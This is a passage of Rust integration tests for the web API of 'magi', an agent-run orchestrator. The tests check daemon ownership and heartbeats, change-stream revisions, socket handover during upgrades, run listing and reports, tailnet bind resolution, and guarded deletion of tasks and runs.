5306        write_daemon(f.home.path(), Timestamp::now());
5307
5308        let view = f.get("/api/loop").await.json();
5309        assert_eq!(view["running"], false, "not in this process: {view}");
5310        assert_eq!(view["owned"], false, "and not this process's to control");
5311        assert_eq!(
5312            view["daemon"]["running"], true,
5313            "but a loop is alive somewhere, which is what the UI must say"
5314        );
5315        assert_eq!(view["daemon"]["pid"], 4242);
5316
5317        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
5318            let res = f.post("/api/loop", Some(body)).await;
5319            assert_eq!(
5320                res.status, 409,
5321                "neither button may pretend to work on someone else's loop: {}",
5322                res.body
5323            );
5324            assert!(
5325                res.json()["error"]
5326                    .as_str()
5327                    .is_some_and(|e| e.contains("4242")),
5328                "the refusal has to name the process the operator must go to: {}",
5329                res.body
5330            );
5331        }
5332        assert_eq!(
5333            f.get("/api/loop").await.json()["running"],
5334            false,
5335            "and the refusal started nothing"
5336        );
5337    }
5338
5339    #[tokio::test]
5340    async fn a_stale_status_file_is_not_a_foreign_owner() {
5341        let f = Fixture::start().await;
5342        write_daemon(
5343            f.home.path(),
5344            Timestamp::now() - jiff::SignedDuration::from_secs(60),
5345        );
5346
5347        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5348        assert_eq!(
5349            res.status, 200,
5350            "a daemon killed a minute ago must not lock the loop out of its \
5351             own home for good: {}",
5352            res.body
5353        );
5354        assert_eq!(res.json()["running"], true);
5355
5356        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5357    }
5358
5359    #[tokio::test]
5360    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
5361        let f = Fixture::start().await;
5362        let before = f.get("/api/health").await.json()["loop_rev"]
5363            .as_u64()
5364            .expect("a loop revision");
5365
5366        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5367
5368        let after = f.get("/api/health").await.json()["loop_rev"]
5369            .as_u64()
5370            .expect("a loop revision");
5371        assert!(
5372            after > before,
5373            "the loop is in-process state, so this counter is the only thing \
5374             that tells a second device the first one started it: {before} -> \
5375             {after}"
5376        );
5377
5378        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5379    }
5380
5381    #[tokio::test]
5382    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
5383        let f = Fixture::with_loop(launch_broken).await;
5384
5385        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5386        assert_eq!(
5387            res.status, 200,
5388            "starting it is not the failure: {}",
5389            res.body
5390        );
5391
5392        let view = settled(&f, |v| v["last_error"].is_string()).await;
5393        assert_eq!(
5394            view["running"], false,
5395            "a loop that died must not read as running, or the operator has \
5396             nothing to press: {view}"
5397        );
5398        assert_eq!(view["owned"], false);
5399        assert!(
5400            view["last_error"]
5401                .as_str()
5402                .is_some_and(|e| e.contains("read-only file system")),
5403            "the phone is where a loop that died at 3am is visible: {view}"
5404        );
5405
5406        // And it can be started again: the corpse was reaped, not left to
5407        // occupy the slot.
5408        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5409        assert_eq!(again.status, 200, "{}", again.body);
5410        assert_eq!(
5411            again.json()["last_error"],
5412            Value::Null,
5413            "a fresh start does not keep showing why the last one died"
5414        );
5415    }
5416
5417    /// An upgrade parks the run in flight before it restarts, and a park waits
5418    /// for the node - up to `timeout_implement`, an hour by default. The deck
5419    /// has to answer for all of it: the operator has just been told a run is
5420    /// finishing first, and this address is the only place that says how it is
5421    /// going. It did not, once - the listener went with the `select!` arm that
5422    /// began the handover, and the phone got `Cannot reach magi: Failed to
5423    /// fetch` for the rest of the wave.
5424    ///
5425    /// The other half is the older rule: the address must be free *before* the
5426    /// successor is started, or it dies on "address already in use" with its
5427    /// stdio sent to null and the deck never comes back.
5428    #[tokio::test]
5429    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
5430        let home = TempDir::new().expect("temp home");
5431        let runs = home.path().join("runs");
5432        std::fs::create_dir_all(&runs).expect("runs dir");
5433        let ui = Ui::new(
5434            Queue::at(home.path().join("queue")),
5435            Questions::at(home.path().join("questions")),
5436            Chats::at(home.path().join("chats")),
5437            Talks::at(home.path().join("talks")),
5438            runs,
5439            home.path().to_path_buf(),
5440            PathBuf::from("/repo/magi"),
5441        )
5442        .with_worktrees_root(home.path().join("wt"))
5443        .with_launch(launch_knocking_on_the_way_out);
5444        let looping = ui.looping();
5445        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
5446            .await
5447            .expect("bind loopback");
5448        let addr = listener.local_addr().expect("local addr");
5449        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
5450        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
5451
5452        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
5453        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
5454
5455        // The successor's whole job, and the one thing it cannot do while this
5456        // process still holds the socket.
5457        let bound = std::sync::Mutex::new(None);
5458        hand_over(home.path(), &looping, served, || {
5459            let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
5460            *bound.lock().expect("bound") = Some(attempt);
5461            Ok(())
5462        })
5463        .await
5464        .expect("hand over");
5465
5466        assert_eq!(
5467            *PARK_HEARD.lock().expect("park heard"),
5468            Some(200),
5469            "the deck must answer while the loop is parking"
5470        );
5471        let attempt = bound
5472            .lock()
5473            .expect("bound")
5474            .take()
5475            .expect("the successor was started");
5476        assert!(
5477            attempt.is_ok(),
5478            "and the address must be free by the time it is: {attempt:?}"
5479        );
5480    }
5481
5482    #[tokio::test]
5483    async fn a_newer_daemon_status_file_still_renders() {
5484        let f = Fixture::start().await;
5485        // A field this build has never heard of must not turn the status line
5486        // into a 500; that is the whole reason the reader is permissive.
5487        std::fs::write(
5488            f.home.path().join("daemon.json"),
5489            serde_json::json!({
5490                "schema": 2,
5491                "updated_at": Timestamp::now().to_string(),
5492                "idle": true,
5493                "surprise": { "nested": [1, 2, 3] },
5494            })
5495            .to_string(),
5496        )
5497        .expect("write daemon.json");
5498
5499        let health = f.get("/api/health").await;
5500
5501        assert_eq!(health.status, 200);
5502        assert_eq!(health.json()["daemon"]["running"], true);
5503    }
5504
5505    #[tokio::test]
5506    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
5507        let f = Fixture::start().await;
5508        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
5509        let broken = f.runs().join("20260902-140502-bad");
5510        std::fs::create_dir_all(&broken).expect("run dir");
5511        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
5512
5513        let list = f.get("/api/runs").await;
5514        let detail = f.get("/api/runs/20260902-140502-bad").await;
5515
5516        assert_eq!(list.status, 200);
5517        let listed = list.json();
5518        let ids: Vec<&str> = listed
5519            .as_array()
5520            .expect("an array")
5521            .iter()
5522            .map(|r| r["id"].as_str().expect("an id"))
5523            .collect();
5524        assert_eq!(
5525            ids,
5526            vec!["20260902-140501-good"],
5527            "one unreadable run must not cost the operator the whole history"
5528        );
5529        assert_eq!(detail.status, 500);
5530        assert!(
5531            detail.json()["error"]
5532                .as_str()
5533                .is_some_and(|e| e.contains("run.json")),
5534            "the failure names the file to look at: {}",
5535            detail.body
5536        );
5537        // A skipped run has to be countable somewhere, or the UI shows an
5538        // empty history with nothing to explain it - which is exactly what a
5539        // directory full of older-schema runs looks like.
5540        let health = f.get("/api/health").await;
5541        assert_eq!(health.json()["runs_unreadable"], 1);
5542    }
5543
5544    #[tokio::test]
5545    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
5546        let f = Fixture::start().await;
5547        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
5548
5549        let summary = f.get("/api/runs").await.json();
5550        let row = &summary[0];
5551        assert_eq!(row["short"], "a1b2");
5552        assert_eq!(row["status"], "ready");
5553        assert_eq!(row["done"], true);
5554        assert_eq!(row["title"], "Add a web UI");
5555        assert_eq!(row["repo_name"], "magi");
5556        assert_eq!(row["judges"], 3);
5557        assert_eq!(row["winner"], Value::Null);
5558        assert_eq!(row["reviews"], 0);
5559
5560        // The short id resolves, and the detail route is the state itself, not
5561        // a projection of it: the UI reads fields the summary does not carry.
5562        let detail = f.get("/api/runs/a1b2").await;
5563        assert_eq!(detail.status, 200);
5564        assert_eq!(detail.json()["base_branch"], "main");
5565        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
5566    }
5567
5568    /// `RunState::active` is only ever cleared by whoever populated it, so the
5569    /// detail route also has to say whether a daemon is actually still
5570    /// driving this run right now — otherwise a seat from a killed process's
5571    /// last wave would read as live forever.
5572    #[tokio::test]
5573    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
5574        let f = Fixture::start().await;
5575        // Matches `write_daemon`'s hard-coded `current.run`, so the second
5576        // half of this test can claim the daemon is working on it without a
5577        // second helper.
5578        let id = "20260902-140502-bbbb";
5579        let mut state = RunState::new(
5580            PathBuf::from("/repo/magi"),
5581            "main".to_owned(),
5582            "0123456789abcdef".to_owned(),
5583            "Add a web UI".to_owned(),
5584            Config::default(),
5585        );
5586        state.id = id.to_owned();
5587        state.status = RunStatus::Judging;
5588        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
5589        let dir = f.runs().join(id);
5590        std::fs::create_dir_all(&dir).expect("run dir");
5591        std::fs::write(
5592            dir.join("run.json"),
5593            serde_json::to_string_pretty(&state).expect("serialize run"),
5594        )
5595        .expect("write run.json");
5596
5597        // No daemon.json at all: the entry cannot be told from a leftover, so
5598        // the route must say so rather than let the phone assume it is live.
5599        let cold = f.get(&format!("/api/runs/{id}")).await.json();
5600        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
5601        assert_eq!(cold["live"], false, "{cold}");
5602
5603        // A fresh heartbeat naming exactly this run: the same entry now reads
5604        // as confirmed, not merely recorded.
5605        write_daemon(f.home.path(), Timestamp::now());
5606        let warm = f.get(&format!("/api/runs/{id}")).await.json();
5607        assert_eq!(warm["live"], true, "{warm}");
5608    }
5609
5610    #[tokio::test]
5611    async fn the_run_list_is_newest_first_and_honours_a_limit() {
5612        let f = Fixture::start().await;
5613        for id in [
5614            "20260902-140501-aaaa",
5615            "20260902-140502-bbbb",
5616            "20260902-140503-cccc",
5617        ] {
5618            write_run(&f.runs(), id, RunStatus::Merged);
5619        }
5620
5621        let all = f.get("/api/runs").await.json();
5622        let capped = f.get("/api/runs?limit=2").await.json();
5623
5624        assert_eq!(all[0]["id"], "20260902-140503-cccc");
5625        assert_eq!(all.as_array().map(Vec::len), Some(3));
5626        assert_eq!(capped.as_array().map(Vec::len), Some(2));
5627        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
5628    }
5629
5630    #[tokio::test]
5631    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
5632        let f = Fixture::start().await;
5633        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
5634
5635        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
5636
5637        assert_eq!(res.status, 200);
5638        assert!(
5639            res.headers
5640                .contains("content-type: text/plain; charset=utf-8"),
5641            "a browser must render it, not download it: {}",
5642            res.headers
5643        );
5644        // The assertion is on content, not on the absence of escapes: colour
5645        // is a process-global that `serve` turns off at startup, and another
5646        // test in this binary may own it while this one runs.
5647        assert!(
5648            res.body.contains("20260902-140501-a1b2"),
5649            "the report is about the run that was asked for: {}",
5650            res.body
5651        );
5652    }
5653
5654    #[tokio::test]
5655    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
5656        let f = Fixture::start().await;
5657
5658        let html = f.get("/").await;
5659        let css = f.get("/app.css").await;
5660        let js = f.get("/app.js").await;
5661
5662        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
5663        assert!(
5664            html.headers
5665                .contains("content-type: text/html; charset=utf-8")
5666        );
5667        assert!(css.headers.contains("content-type: text/css"));
5668        assert!(js.headers.contains("content-type: text/javascript"));
5669        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
5670    }
5671
5672    #[tokio::test]
5673    async fn the_change_stream_announces_the_current_revisions_on_connect() {
5674        let f = Fixture::start().await;
5675
5676        let mut socket = tokio::net::TcpStream::connect(f.addr)
5677            .await
5678            .expect("connect");
5679        socket
5680            .write_all(
5681                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
5682            )
5683            .await
5684            .expect("write request");
5685
5686        // Read until the first event arrives rather than to end of stream: the
5687        // stream is endless by design, which is the point of the route.
5688        let mut seen = String::new();
5689        let mut buf = [0u8; 1024];
5690        while !seen.contains("event: change") {
5691            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
5692                .await
5693                .expect("the stream must speak within five seconds")
5694                .expect("read");
5695            assert!(read > 0, "the server closed the change stream: {seen}");
5696            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
5697        }
5698
5699        assert!(
5700            seen.to_lowercase()
5701                .contains("content-type: text/event-stream"),
5702            "the browser only reconnects automatically for a real SSE stream: {seen}"
5703        );
5704        let data = seen
5705            .lines()
5706            .find_map(|l| l.strip_prefix("data:"))
5707            .expect("a data line");
5708        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
5709        assert!(
5710            payload["queue_rev"].is_u64()
5711                && payload["runs_rev"].is_u64()
5712                && payload["questions_rev"].is_u64()
5713                && payload["chats_rev"].is_u64()
5714                && payload["talks_rev"].is_u64()
5715                && payload["loop_rev"].is_u64(),
5716            "the client needs one revision per store to know what to refetch, \
5717             and `chats_rev` / `talks_rev` are the only notification a slow \
5718             interview or a standing talk get - a phone whose radio slept \
5719             through a turn learns about it here, as does one whose operator \
5720             started the loop from another device: {payload}"
5721        );
5722
5723        // The front end re-polls health on a timer and on wake, and takes the
5724        // revisions from that answer whenever the stream is not up. So health
5725        // has to carry every key the stream carries: a phone on a link that
5726        // will not hold an SSE connection is exactly the phone that must still
5727        // notice a question, and a missing key there is not a 500 but a UI
5728        // that quietly stops updating.
5729        let health = f.get("/api/health").await.json();
5730        for key in [
5731            "queue_rev",
5732            "runs_rev",
5733            "questions_rev",
5734            "chats_rev",
5735            "talks_rev",
5736            "loop_rev",
5737        ] {
5738            assert!(
5739                health[key].is_u64(),
5740                "health is the change stream's fallback and is missing `{key}`: {health}"
5741            );
5742        }
5743    }
5744
5745    #[tokio::test]
5746    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
5747        let f = Fixture::start().await;
5748        let before = f.get("/api/health").await.json()["talks_rev"]
5749            .as_u64()
5750            .expect("talks_rev");
5751
5752        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
5753        std::thread::sleep(Duration::from_millis(10));
5754        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
5755        on_disk.turns.push(crate::talk::Turn {
5756            who: crate::talk::Who::Operator,
5757            body: "a new turn".to_owned(),
5758            at: Timestamp::now(),
5759        });
5760        f.talks().put(&mut on_disk).expect("record a turn");
5761
5762        let after = f.get("/api/health").await.json()["talks_rev"]
5763            .as_u64()
5764            .expect("talks_rev");
5765        assert_ne!(
5766            before, after,
5767            "a phone must be able to notice a talk's reply without polling every store"
5768        );
5769    }
5770
5771    #[test]
5772    fn bind_reads_back_from_the_spelling_the_cli_prints() {
5773        // The CLI shows the default in `--help` and parses whatever comes
5774        // back, so the two directions have to agree or `--bind auto` breaks
5775        // the moment someone copies the help text.
5776        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
5777            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
5778        }
5779        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
5780        assert!("everywhere".parse::<Bind>().is_err());
5781    }
5782
5783    #[test]
5784    fn an_explicit_bind_address_is_taken_verbatim() {
5785        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
5786
5787        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
5788
5789        assert_eq!(addr, asked);
5790        assert!(
5791            warning.is_none(),
5792            "an operator who named an address gets no lecture"
5793        );
5794    }
5795
5796    #[test]
5797    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
5798        let (addr, warning) = resolve_bind(&Bind::Auto);
5799
5800        // This has to hold on a CI runner with no `tailscale` and on a dev box
5801        // with one, so the invariant asserted is the one shared by both
5802        // outcomes: the address is either a real tailnet address offered
5803        // without comment, or loopback with an explanation. What must never
5804        // happen is a silent fallback - an operator told "listening on
5805        // 127.0.0.1" with no reason would go looking for a firewall.
5806        match addr {
5807            IpAddr::V4(ip) if is_tailnet(&ip) => {
5808                assert!(warning.is_none(), "a tailnet address needs no warning");
5809            }
5810            other => {
5811                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
5812                let warning = warning.expect("a fallback has to explain itself");
5813                assert!(
5814                    warning.contains("127.0.0.1") && warning.contains("local-only"),
5815                    "the warning says what happened and what it costs: {warning}"
5816                );
5817            }
5818        }
5819    }
5820
5821    #[test]
5822    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
5823        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
5824        // boundary cases are what stop us binding to some other tool's idea of
5825        // an address.
5826        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
5827        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
5828        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
5829        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
5830        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
5831    }
5832
5833    #[test]
5834    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
5835        let ids = vec![
5836            "20260902-140501-aaaa".to_owned(),
5837            "20260902-140502-aabb".to_owned(),
5838        ];
5839
5840        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
5841        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
5842        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
5843
5844        assert_eq!(missing.status, StatusCode::NOT_FOUND);
5845        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
5846        assert_eq!(short, "20260902-140502-aabb");
5847    }
5848    #[tokio::test]
5849    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
5850        // The prompt tells agents to reference attachments by bare filename.
5851        // A document served at `.../panel` resolves `shot.png` against its own
5852        // directory, i.e. `.../shot.png`, which is not the asset route - so a
5853        // panel written exactly as instructed showed broken images. Caught by
5854        // looking at a real one in a browser, not by reading the code.
5855        let fx = Fixture::start().await;
5856        let id = panel(
5857            &fx,
5858            "<img src=\"shot.png\">",
5859            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
5860        );
5861
5862        // The frame's own URL ends in a filename, so its siblings are reachable.
5863        let doc = fx
5864            .get(&format!("/api/questions/{id}/panel/index.html"))
5865            .await;
5866        assert_eq!(doc.status, 200, "{}", doc.body);
5867        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
5868
5869        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
5870        assert_eq!(sibling.status, 200, "{}", sibling.body);
5871        assert_eq!(sibling.header("content-type"), Some("image/png"));
5872        assert_eq!(
5873            sibling.header("content-security-policy"),
5874            Some(PANEL_CSP),
5875            "the sibling route must carry the same policy as the asset route"
5876        );
5877
5878        // The original spelling keeps working: HEAD on it is how the front end
5879        // decides whether to mount a frame at all.
5880        assert_eq!(
5881            fx.head(&format!("/api/questions/{id}/panel")).await.status,
5882            200
5883        );
5884    }
5885
5886    #[test]
5887    fn runs_revision_moves_when_deleting_an_older_run() {
5888        let temp = TempDir::new().expect("tempdir");
5889        let runs = temp.path().join("runs");
5890        std::fs::create_dir_all(&runs).expect("create runs dir");
5891
5892        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
5893
5894        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
5895        std::thread::sleep(Duration::from_millis(10));
5896        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
5897
5898        let rev_before = runs_revision(&runs);
5899        assert!(rev_before > 0);
5900
5901        let old_dir = runs.join("20260901-100000-old1");
5902        std::fs::remove_dir_all(&old_dir).expect("remove old run");
5903
5904        let rev_after = runs_revision(&runs);
5905        assert_ne!(
5906            rev_before, rev_after,
5907            "deleting an older run must change the revision so other clients see the deletion"
5908        );
5909    }
5910
5911    /// A run's own `run.json` on an explicit `runs` root, bypassing the
5912    /// process-global home entirely — `RunState::save` writes through
5913    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
5914    /// (see `tests::home_lock` in the integration suite for why).
5915    fn write_state(runs: &FsPath, state: &RunState) {
5916        let dir = runs.join(&state.id);
5917        std::fs::create_dir_all(&dir).expect("run dir");
5918        std::fs::write(
5919            dir.join("run.json"),
5920            serde_json::to_string_pretty(state).expect("serialize run"),
5921        )
5922        .expect("write run.json");
5923    }
5924
5925    /// A seat starting or finishing is a write to `run.json` like any other,
5926    /// so it moves the same revision the change stream already watches —
5927    /// nothing new for `/api/events` to learn, but the property this feature
5928    /// depends on to reach the phone without a poll.
5929    #[test]
5930    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
5931        let temp = TempDir::new().expect("tempdir");
5932        let runs = temp.path().join("runs");
5933        std::fs::create_dir_all(&runs).expect("create runs dir");
5934        let mut state = RunState::new(
5935            PathBuf::from("/repo/magi"),
5936            "main".to_owned(),
5937            "0123456789abcdef".to_owned(),
5938            "task".to_owned(),
5939            Config::default(),
5940        );
5941        state.id = "20260902-100000-c0de".to_owned();
5942        write_state(&runs, &state);
5943
5944        let rev_idle = runs_revision(&runs);
5945        std::thread::sleep(Duration::from_millis(10));
5946        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
5947        write_state(&runs, &state);
5948        let rev_started = runs_revision(&runs);
5949        assert_ne!(
5950            rev_idle, rev_started,
5951            "a seat starting must move the revision"
5952        );
5953
5954        std::thread::sleep(Duration::from_millis(10));
5955        state.seat_finished("judge-1");
5956        write_state(&runs, &state);
5957        let rev_finished = runs_revision(&runs);
5958        assert_ne!(
5959            rev_started, rev_finished,
5960            "and clearing it again must move the revision a second time"
5961        );
5962    }
5963
5964    #[tokio::test]
5965    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
5966        let fx = Fixture::start().await;
5967        let q = fx.queue();
5968
5969        // 1. A queued task with runs attached can be deleted.
5970        let mut t1 = Task::new(
5971            "Task 1".to_owned(),
5972            "Instruction 1".to_owned(),
5973            PathBuf::from("/repo"),
5974            Source::Human,
5975        );
5976        let run_id = "20260901-000000-r111";
5977        t1.runs.push(run_id.to_owned());
5978        write_run(&fx.runs(), run_id, RunStatus::Merged);
5979        q.put(&mut t1).expect("put t1");
5980
5981        // Delete by short id
5982        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
5983        assert_eq!(res.status, 204);
5984        assert!(res.body.is_empty(), "204 No Content has no body");
5985        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
5986        assert!(
5987            fx.runs().join(run_id).exists(),
5988            "run directory must not be deleted when its task is deleted"
5989        );
5990
5991        // 2. A task a live daemon is running is refused with 409.
5992        let mut t2 = Task::new(
5993            "Task 2".to_owned(),
5994            "Instruction 2".to_owned(),
5995            PathBuf::from("/repo"),
5996            Source::Human,
5997        );
5998        t2.status = TaskStatus::Running;
5999        q.put(&mut t2).expect("put t2");
6000        let mut beat = crate::daemon::Status::new();
6001        beat.current = Some(crate::daemon::Current {
6002            task: t2.id.clone(),
6003            run: "20260901-000000-r222".to_owned(),
6004        });
6005        beat.updated_at = jiff::Timestamp::now();
6006        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6007            .expect("publish a heartbeat");
6008        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
6009        assert_eq!(res.status, 409);
6010        assert!(
6011            res.json()["error"]
6012                .as_str()
6013                .unwrap()
6014                .contains("live daemon")
6015        );
6016        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
6017
6018        // 3. The same `running` status and an orphaned lock, with no daemon
6019        // behind either, is a leftover and deletable. Before this the phone
6020        // refused it for good: the status never changes on its own and
6021        // nothing drops a lock whose process is gone.
6022        // The daemon is killed: the file stays, the heartbeat stops.
6023        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
6024        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6025            .expect("leave a stale heartbeat");
6026        let mut t3 = Task::new(
6027            "Task 3".to_owned(),
6028            "Instruction 3".to_owned(),
6029            PathBuf::from("/repo"),
6030            Source::Human,
6031        );
6032        t3.status = TaskStatus::Running;
6033        q.put(&mut t3).expect("put t3");
6034        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
6035        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
6036        assert_eq!(res.status, 204);
6037        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
6038        assert!(
6039            q.claim(&t3.id).is_ok(),
6040            "the stale lock went with it, so the id is claimable again"
6041        );
6042
6043        // 4. Missing id returns 404
6044        let res = fx.delete("/api/queue/nonexistent").await;
6045        assert_eq!(res.status, 404);
6046    }
6047
6048    #[tokio::test]
6049    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
6050        let fx = Fixture::start().await;
6051        let runs = fx.runs();
6052
6053        // 1. Finished and folded run can be deleted along with artifacts
6054        let run_id = "20260901-000000-fold";
6055        let mut state = RunState::new(
6056            PathBuf::from("/repo"),
6057            "main".to_owned(),
6058            "abc".to_owned(),
6059            "instruction".to_owned(),
6060            Config::default(),
6061        );
6062        state.id = run_id.to_owned();
6063        state.status = RunStatus::Merged;
6064        state.candidates.push(crate::run::Candidate {
6065            index: 0,
6066            label: 'A',
6067            agent: "a".to_owned(),
6068            branch: "b".to_owned(),
6069            worktree: PathBuf::from("/w"),
6070            summary: String::new(),
6071            stat: String::new(),
6072            files: 1,
6073            commits: 1,
6074            empty: false,
6075            failed: None,
6076            duration_ms: 0,
6077            folded: true,
6078        });
6079        let dir = runs.join(run_id);
6080        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
6081        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
6082            .expect("write artifact");
6083        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
6084            .expect("write run.json");
6085
6086        // Delete by short id
6087        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
6088        assert_eq!(res.status, 204);
6089        assert!(res.body.is_empty(), "204 has no body");
6090        assert!(!dir.exists(), "run directory and artifacts must be deleted");
6091
6092        // 2. A run a live daemon is working on is refused with 409. The
6093        // heartbeat is what makes it refusable: an unfinished run with no
6094        // daemon behind it is a leftover from a killed process, and case 1
6095        // above would otherwise be impossible to tell apart from this one.
6096        let run_running = "20260901-000000-rung";
6097        write_run(&runs, run_running, RunStatus::Prep);
6098        let mut beat = crate::daemon::Status::new();
6099        beat.current = Some(crate::daemon::Current {
6100            task: "20260901-000000-task".to_owned(),
6101            run: run_running.to_owned(),
6102        });
6103        beat.updated_at = jiff::Timestamp::now();
6104        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6105            .expect("publish a heartbeat");
6106        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
6107        assert_eq!(res.status, 409);
6108        assert!(
6109            res.json()["error"]
6110                .as_str()
6111                .unwrap()
6112                .contains("live daemon"),
6113            "the refusal must say who is holding it"
6114        );
6115        assert!(
6116            runs.join(run_running).exists(),
6117            "a run in flight keeps its directory"
6118        );
6119
6120        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
6121        let run_unfolded = "20260901-000000-unfd";
6122        let mut state2 = RunState::new(
6123            PathBuf::from("/repo"),
6124            "main".to_owned(),
6125            "abc".to_owned(),
6126            "instruction".to_owned(),
6127            Config::default(),
6128        );
6129        state2.id = run_unfolded.to_owned();
6130        state2.status = RunStatus::Ready;
6131        state2.candidates.push(crate::run::Candidate {
6132            index: 0,
6133            label: 'A',
6134            agent: "a".to_owned(),
6135            branch: "b".to_owned(),
6136            worktree: PathBuf::from("/w"),
6137            summary: String::new(),
6138            stat: String::new(),
6139            files: 1,
6140            commits: 1,
6141            empty: false,
6142            failed: None,
6143            duration_ms: 0,
6144            folded: false,
6145        });
6146        let dir2 = runs.join(run_unfolded);
6147        std::fs::create_dir_all(&dir2).expect("create dir2");
6148        std::fs::write(
6149            dir2.join("run.json"),
6150            serde_json::to_string(&state2).unwrap(),
6151        )
6152        .expect("write run.json");
6153
6154        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
6155        assert_eq!(res.status, 409);
6156        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
6157        assert!(dir2.exists(), "unfolded run directory is kept");
6158
6159        // 4. Missing id returns 404
6160        let res = fx.delete("/api/runs/nonexistent").await;
6161        assert_eq!(res.status, 404);
6162    }
6163
6164    #[test]
6165    fn web_ui_delete_contract_in_front_end() {
6166        // 1. API block has both delete endpoints
6167        assert!(APP_JS.contains("deleteRun:"));
6168        assert!(APP_JS.contains("deleteTask:"));
6169
6170        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
6171        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
6172            ..APP_JS.find("function renderRuns").unwrap()];
6173        assert!(!run_cards_slice.to_lowercase().contains("delete"));
6174
6175        // 3. Run detail has delete entry and reasons
6176        assert!(APP_JS.contains("renderRunDelete"));
6177        assert!(APP_JS.contains("runDeleteReason"));
6178        assert!(APP_JS.contains("magi fold"));
